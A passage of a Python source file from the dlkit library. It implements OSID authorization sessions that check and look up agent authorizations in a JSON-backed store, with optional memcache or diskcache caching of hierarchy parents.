2018-02-23T12:16:11.000Z

2020-10-08T17:54:24.000Z

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

87

2017-04-21T18:57:15.000Z

2021-12-13T19:43:57.000Z

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

1

2018-03-01T16:44:25.000Z

"""JSON implementations of authorization sessions.""" # pylint: disable=no-init # Numerous classes don't require __init__. # pylint: disable=too-many-public-methods,too-few-public-methods # Number of methods are defined in specification # pylint: disable=protected-access # Access to protected methods allowed in package json package scope # pylint: disable=too-many-ancestors # Inheritance defined in specification from bson.objectid import ObjectId from . import objects from . import queries from .. import utilities from ..id.objects import IdList from ..osid import sessions as osid_sessions from ..osid.sessions import OsidSession from ..primitives import DateTime from ..primitives import Id from ..primitives import Type from ..utilities import JSONClientValidated from ..utilities import PHANTOM_ROOT_IDENTIFIER from ..utilities import overlap from dlkit.abstract_osid.authorization import sessions as abc_authorization_sessions from dlkit.abstract_osid.authorization.objects import AuthorizationForm as ABCAuthorizationForm from dlkit.abstract_osid.authorization.objects import VaultForm as ABCVaultForm from dlkit.abstract_osid.id.primitives import Id as ABCId from dlkit.abstract_osid.osid import errors from dlkit.abstract_osid.type.primitives import Type as ABCType DESCENDING = -1 ASCENDING = 1 CREATED = True UPDATED = True ENCLOSURE_RECORD_TYPE = Type( identifier='enclosure', namespace='osid-object', authority='ODL.MIT.EDU') COMPARATIVE = 0 PLENARY = 1 class AuthorizationSession(abc_authorization_sessions.AuthorizationSession, osid_sessions.OsidSession): """This is the basic session for verifying authorizations.""" def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs # def _get_qualifier_idstrs(self, qualifier_id): # def generate_qualifier_ids(): # try: # authority = qualifier_id.get_identifier_namespace().split('.')[0].upper() # identifier = qualifier_id.get_identifier_namespace().split('.')[1].upper() # except: # return [str(qualifier_id)] # root_qualifier_id = Id( # authority=qualifier_id.get_authority(), # namespace=qualifier_id.get_identifier_namespace(), # identifier='ROOT') # if qualifier_id.get_identifier() == 'ROOT': # return [str(root_qualifier_id)] # hierarchy_mgr = self._get_provider_manager('HIERARCHY') # local=True ??? # hierarchy_session = hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( # Id(authority=authority, # namespace='CATALOG', # identifier=identifier), # proxy=self._proxy) # node = hierarchy_session.get_nodes(qualifier_id, 10, 0, False) # return self._get_ancestor_idstrs(node) + [str(root_qualifier_id)] # use_caching = False # try: # config = self._runtime.get_configuration() # parameter_id = Id('parameter:useCachingForQualifierIds@mongo') # if config.get_value_by_parameter(parameter_id).get_boolean_value(): # use_caching = True # else: # pass # except (AttributeError, KeyError, errors.NotFound): # pass # if use_caching: # import memcache # mc = memcache.Client(['127.0.0.1:11211'], debug=0) # # key = 'hierarchy-qualifier-ids-{0}'.format(str(qualifier_id)) # # if mc.get(key) is None: # qualifier_ids = generate_qualifier_ids() # mc.set(key, qualifier_ids, time=30 * 60) # else: # qualifier_ids = mc.get(key) # else: # qualifier_ids = generate_qualifier_ids() # return qualifier_ids # # def _get_ancestor_idstrs(self, node): # def get_ancestors(internal_node): # node_list = [str(internal_node.get_id())] # if internal_node.has_parents(): # for parent_node in internal_node.get_parents(): # node_list += self._get_ancestor_idstrs(parent_node) # return list(set(node_list)) # # use_caching = False # try: # config = self._runtime.get_configuration() # parameter_id = Id('parameter:useCachingForQualifierIds@json') # if config.get_value_by_parameter(parameter_id).get_boolean_value(): # use_caching = True # else: # pass # except (AttributeError, KeyError, errors.NotFound): # pass # if use_caching: # import memcache # mc = memcache.Client(['127.0.0.1:11211'], debug=0) # # key = 'ancestor-ids-{0}'.format(str(node.ident)) # # if mc.get(key) is None: # ancestor_ids = get_ancestors(node) # mc.set(key, ancestor_ids, time=30 * 60) # else: # ancestor_ids = mc.get(key) # else: # ancestor_ids = get_ancestors(node) # return ancestor_ids def _get_hierarchy_session(self, hierarchy_id): """Returns a hierarchy traversal session for the hierarchy""" hierarchy_mgr = self._get_provider_manager('HIERARCHY', local=True) return hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( hierarchy_id, proxy=self._proxy) def _caching_enabled(self): """Returns True if caching is enabled per configuration, false otherwise.""" try: config = self._runtime.get_configuration() parameter_id = Id('parameter:useCachingForQualifierIds@json') if config.get_value_by_parameter(parameter_id).get_boolean_value(): return True else: return False except (AttributeError, KeyError, errors.NotFound): return False def _get_parent_id_list(self, qualifier_id, hierarchy_id): """Returns list of parent id strings for qualifier_id in hierarchy. Uses memcache if caching is enabled. """ if self._caching_enabled(): key = 'parent_id_list_{0}'.format(str(qualifier_id)) # If configured to use memcache as the caching engine, use it. # Otherwise default to diskcache caching_engine = 'diskcache' try: config = self._runtime.get_configuration() parameter_id = Id('parameter:cachingEngine@json') caching_engine = config.get_value_by_parameter(parameter_id).get_string_value() except (AttributeError, KeyError, errors.NotFound): pass if caching_engine == 'memcache': import memcache caching_host = '127.0.0.1:11211' try: config = self._runtime.get_configuration() parameter_id = Id('parameter:cachingHostURI@json') caching_host = config.get_value_by_parameter(parameter_id).get_string_value() except (AttributeError, KeyError, errors.NotFound): pass mc = memcache.Client([caching_host], debug=0) parent_id_list = mc.get(key) if parent_id_list is None: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] mc.set(key, parent_id_list) elif caching_engine == 'diskcache': import diskcache with diskcache.Cache('/tmp/dlkit_cache') as cache: # A little bit non-DRY, since it's almost the same as for memcache above. # However, for diskcache.Cache, we have to call ".close()" or use a # ``with`` statement to safeguard calling ".close()", so we keep this # separate from the memcache implementation. parent_id_list = cache.get(key) if parent_id_list is None: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] cache.set(key, parent_id_list) else: raise errors.NotFound('The {0} caching engine was not found.'.format(caching_engine)) else: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] return parent_id_list def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_access_authorizations(self): """Tests if this user can perform authorization checks. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if authorization methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ return True @utilities.arguments_not_none def is_authorized(self, agent_id, function_id, qualifier_id): """Determines if the given agent is authorized. An agent is authorized if an active authorization exists whose ``Agent,`` ``Function`` and ``Qualifier`` matches the supplied parameters. Authorizations may be defined using groupings or hieratchical structures for both the ``Agent`` and the ``Qualifier`` but are queried in the de-nornmalized form. The ``Agent`` is generally determined through the use of an Authentication OSID. The ``Function`` and ``Qualifier`` are already known as they map to the desired authorization to validate. arg: agent_id (osid.id.Id): the ``Id`` of an ``Agent`` arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` arg: qualifier_id (osid.id.Id): the ``Id`` of a ``Qualifier`` return: (boolean) - ``true`` if the user is authorized, ``false`` othersise raise: NotFound - ``function_id`` is not found raise: NullArgument - ``agent_id`` , ``function_id`` or ``qualifier_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request *compliance: mandatory -- This method must be implemented.* *implementation notes*: Authorizations may be stored in a normalized form with respect to various Resources and created using specific nodes in a ``Function`` or ``Qualifer`` hierarchy. The provider needs to maintain a de-normalized implicit authorization store or expand the applicable hierarchies on the fly to honor this query. Querying the authorization service may in itself require a separate authorization. A ``PermissionDenied`` is a result of this authorization failure. If no explicit or implicit authorization exists for the queried tuple, this method should return ``false``. """ collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) def is_parent_authorized(catalog_id): """Recursively checks parents for implicit authorizations""" parent_id_list = self._get_parent_id_list(catalog_id, hierarchy_id) if parent_id_list: try: collection.find_one( {'agentId': str(agent_id), 'functionId': str(function_id), 'qualifierId': {'$in': parent_id_list}}) except errors.NotFound: for parent_id in parent_id_list: if is_parent_authorized(Id(parent_id)): return True return False else: return True else: return False # Check first for an explicit or 'ROOT' level implicit authorization: try: authority = qualifier_id.get_identifier_namespace().split('.')[0].upper() identifier = qualifier_id.get_identifier_namespace().split('.')[1].upper() except KeyError: idstr_list = [str(qualifier_id)] authority = identifier = None else: # handle aliased IDs package_name = qualifier_id.get_identifier_namespace().split('.')[0] qualifier_id = self._get_id(qualifier_id, package_name) root_qualifier_id = Id( authority=qualifier_id.get_authority(), namespace=qualifier_id.get_identifier_namespace(), identifier='ROOT') idstr_list = [str(root_qualifier_id), str(qualifier_id)] try: collection.find_one( {'agentId': str(agent_id), 'functionId': str(function_id), 'qualifierId': {'$in': idstr_list}}) # Otherwise check for implicit authorization through inheritance: except errors.NotFound: if authority and identifier: hierarchy_id = Id(authority=authority, namespace='CATALOG', identifier=identifier) return is_parent_authorized(qualifier_id) else: return False else: return True @utilities.arguments_not_none def get_authorization_condition(self, function_id): """Gets the ``AuthorizationCondition`` for making conditional authorization checks. arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` return: (osid.authorization.AuthorizationCondition) - an authorization condition raise: NotFound - ``function_id`` is not found raise: NullArgument - ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def is_authorized_on_condition(self, agent_id, function_id, qualifier_id, condition): """Determines if the given agent is authorized. An agent is authorized if an active authorization exists whose ``Agent,`` ``Function`` and ``Qualifier`` matches the supplied parameters. Authorizations may be defined using groupings or hieratchical structures for both the ``Agent`` and the ``Qualifier`` but are queried in the de-nornmalized form. The ``Agent`` is generally determined through the use of an Authentication OSID. The ``Function`` and ``Qualifier`` are already known as they map to the desired authorization to validate. arg: agent_id (osid.id.Id): the ``Id`` of an ``Agent`` arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` arg: qualifier_id (osid.id.Id): the ``Id`` of a ``Qualifier`` arg: condition (osid.authorization.AuthorizationCondition): an authorization condition return: (boolean) - ``true`` if the user is authorized, ``false`` othersise raise: NotFound - ``function_id`` is not found raise: NullArgument - ``agent_id`` , ``function_id, qualifier_id`` , or ``condition`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request raise: Unsupported - ``condition`` is not of this service *compliance: mandatory -- This method must be implemented.* *implementation notes*: Authorizations may be stored in a normalized form with respect to various Resources and created using specific nodes in a ``Function`` or ``Qualifer`` hierarchy. The provider needs to maintain a de-normalized implicit authorization store or expand the applicable hierarchies on the fly to honor this query. Querying the authorization service may in itself require a separate authorization. A ``PermissionDenied`` is a result of this authorization failure. If no explicit or implicit authorization exists for the queried tuple, this method should return ``false``. """ raise errors.Unimplemented() class AuthorizationLookupSession(abc_authorization_sessions.AuthorizationLookupSession, osid_sessions.OsidSession): """This session defines methods to search and retrieve ``Authorization`` mappings.""" def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_lookup_authorizations(self): """Tests if this user can perform authorization lookups. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if lookup methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.can_lookup_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def use_comparative_authorization_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_comparative_resource_view self._use_comparative_object_view() def use_plenary_authorization_view(self): """A complete view of the ``Authorization`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_plenary_resource_view self._use_plenary_object_view() def use_federated_vault_view(self): """Federates the view for methods in this session. A federated view will include authorizations in vaults which are children of this vault in the vault hierarchy. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_federated_bin_view self._use_federated_catalog_view() def use_isolated_vault_view(self): """Isolates the view for methods in this session. An isolated view restricts lookups to this vault only. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_isolated_bin_view self._use_isolated_catalog_view() def use_effective_authorization_view(self): """Only authorizations whose effective dates are current are returned by methods in this session. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.use_effective_relationship_view self._use_effective_view() def use_any_effective_authorization_view(self): """All authorizations of any effective dates are returned by all methods in this session. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.use_any_effective_relationship_view self._use_any_effective_view() def use_implicit_authorization_view(self): """Sets the view for methods in this session to implicit authorizations. An implicit view will include authorizations derived from other authorizations as a result of the ``Qualifier,`` ``Function`` or ``Resource`` hierarchies. This method is the opposite of ``explicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def use_explicit_authorization_view(self): """Sets the view for methods in this session to explicit authorizations. An explicit view includes only those authorizations that were explicitly defined and not implied. This method is the opposite of ``implicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorization(self, authorization_id): """Gets the ``Authorization`` specified by its ``Id``. In plenary mode, the exact ``Id`` is found or a ``NotFound`` results. Otherwise, the returned ``Authorization`` may have a different ``Id`` than requested, such as the case where a duplicate ``Id`` was assigned to an ``Authorization`` and retained for compatibility. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` to retrieve return: (osid.authorization.Authorization) - the returned ``Authorization`` raise: NotFound - no ``Authorization`` found with the given ``Id`` raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resource # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find_one( dict({'_id': ObjectId(self._get_id(authorization_id, 'authorization').get_identifier())}, **self._view_filter())) return objects.Authorization(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_ids(self, authorization_ids): """Gets an ``AuthorizationList`` corresponding to the given ``IdList``. In plenary mode, the returned list contains all of the authorizations specified in the ``Id`` list, in the order of the list, including duplicates, or an error results if an ``Id`` in the supplied list is not found or inaccessible. Otherwise, inaccessible ``Authorizations`` may be omitted from the list and may present the elements in any order including returning a unique set. arg: authorization_ids (osid.id.IdList): the list of ``Ids`` to retrieve return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NotFound - an ``Id was`` not found raise: NullArgument - ``authorization_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_ids # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) object_id_list = [] for i in authorization_ids: object_id_list.append(ObjectId(self._get_id(i, 'authorization').get_identifier())) result = collection.find( dict({'_id': {'$in': object_id_list}}, **self._view_filter())) result = list(result) sorted_result = [] for object_id in object_id_list: for object_map in result: if object_map['_id'] == object_id: sorted_result.append(object_map) break return objects.AuthorizationList(sorted_result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_genus_type(self, authorization_genus_type): """Gets an ``AuthorizationList`` corresponding to the given authorization genus ``Type`` which does not include authorizations of genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_genus_type (osid.type.Type): an authorization genus type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_genus_type # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'genusTypeId': str(authorization_genus_type)}, **self._view_filter())).sort('_id', DESCENDING) return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_parent_genus_type(self, authorization_genus_type): """Gets an ``AuthorizationList`` corresponding to the given authorization genus ``Type`` and include authorizations of genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_genus_type (osid.type.Type): an authorization genus type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_parent_genus_type # STILL NEED TO IMPLEMENT!!! return objects.AuthorizationList([]) @utilities.arguments_not_none def get_authorizations_by_record_type(self, authorization_record_type): """Gets an ``AuthorizationList`` containing the given authorization record ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_record_type (osid.type.Type): an authorization record type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_record_type # STILL NEED TO IMPLEMENT!!! return objects.AuthorizationList([]) @utilities.arguments_not_none def get_authorizations_on_date(self, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.get_relationships_on_date authorization_list = [] for authorization in self.get_authorizations(): if overlap(from_, to, authorization.start_date, authorization.end_date): authorization_list.append(authorization) return objects.AuthorizationList(authorization_list, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_resource(self, resource_id): """Gets a list of ``Authorizations`` associated with a given resource. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``resource_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_resource_on_date(self, resource_id, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. In effective mode, authorizations are returned that are currently effective. In any effective mode, active authorizations and those currently expired are returned. arg: resource_id (osid.id.Id): a resource ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``resource_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent(self, agent_id): """Gets a list of ``Authorizations`` associated with a given agent. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: agent_id (osid.id.Id): an agent ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``agent_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent_on_date(self, agent_id, from_, to): """Gets an ``AuthorizationList`` for the given agent and effective during the entire given date range inclusive but not confined to the date range. arg: agent_id (osid.id.Id): an agent ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``agent_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_function(self, function_id): """Gets a list of ``Authorizations`` associated with a given function. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.learning.ActivityLookupSession.get_activities_for_objective_template # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'functionId': str(function_id)}, **self._view_filter())) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_function_on_date(self, function_id, from_, to): """Gets an ``AuthorizationList`` for the given function and effective during the entire given date range inclusive but not confined to the date range. arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_resource_and_function(self, resource_id, function_id): """Gets a list of ``Authorizations`` associated with a given resource. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``resource_id`` or ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.get_relationships_for_peers # NOTE: This implementation currently ignores plenary and effective views collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'sourceId': str(resource_id), 'destinationId': str(function_id)}, **self._view_filter())).sort('_id', ASCENDING) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_resource_and_function_on_date(self, resource_id, function_id, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. In effective mode, authorizations are returned that are currently effective. In any effective mode, active authorizations and those currently expired are returned. arg: resource_id (osid.id.Id): a resource ``Id`` arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``resource_id, function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent_and_function(self, agent_id, function_id): """Gets a list of ``Authorizations`` associated with a given agent. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: agent_id (osid.id.Id): an agent ``Id`` arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``agent_id`` or ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'agentId': str(agent_id), 'functionId': str(function_id)}, **self._view_filter())).sort('_sort_id', ASCENDING) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_agent_and_function_on_date(self, agent_id, function_id, from_, to): """Gets an ``AuthorizationList`` for the given agent and effective during the entire given date range inclusive but not confined to the date range. arg: agent_id (osid.id.Id): an agent ``Id`` arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``agent_id, function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_by_qualifier(self, qualifier_id): """Gets a list of ``Authorizations`` associated with a given qualifier. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: qualifier_id (osid.id.Id): a qualifier ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``qualifier_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_explicit_authorization(self, authorization_id): """Gets the explicit ``Authorization`` that generated the given implicit authorization. If the given ``Authorization`` is explicit, then the same ``Authorization`` is returned. arg: authorization_id (osid.id.Id): an authorization return: (osid.authorization.Authorization) - the explicit ``Authorization`` raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() def get_authorizations(self): """Geta all ``Authorizations``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. return: (osid.authorization.AuthorizationList) - a list of ``Authorizations`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find(self._view_filter()).sort('_id', DESCENDING) return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) authorizations = property(fget=get_authorizations) class AuthorizationQuerySession(abc_authorization_sessions.AuthorizationQuerySession, osid_sessions.OsidSession): """This session provides methods for searching ``Authorization`` objects. The search query is constructed using the ``AuthorizationQuery``. This session defines views that offer differing behaviors for searching. * federated view: searches include authorizations in ``Vaults`` of which this vault is a ancestor in the vault hierarchy * isolated view: searches are restricted to authorizations in this ``Vault`` * implicit authorization view: authorizations include implicit authorizations * explicit 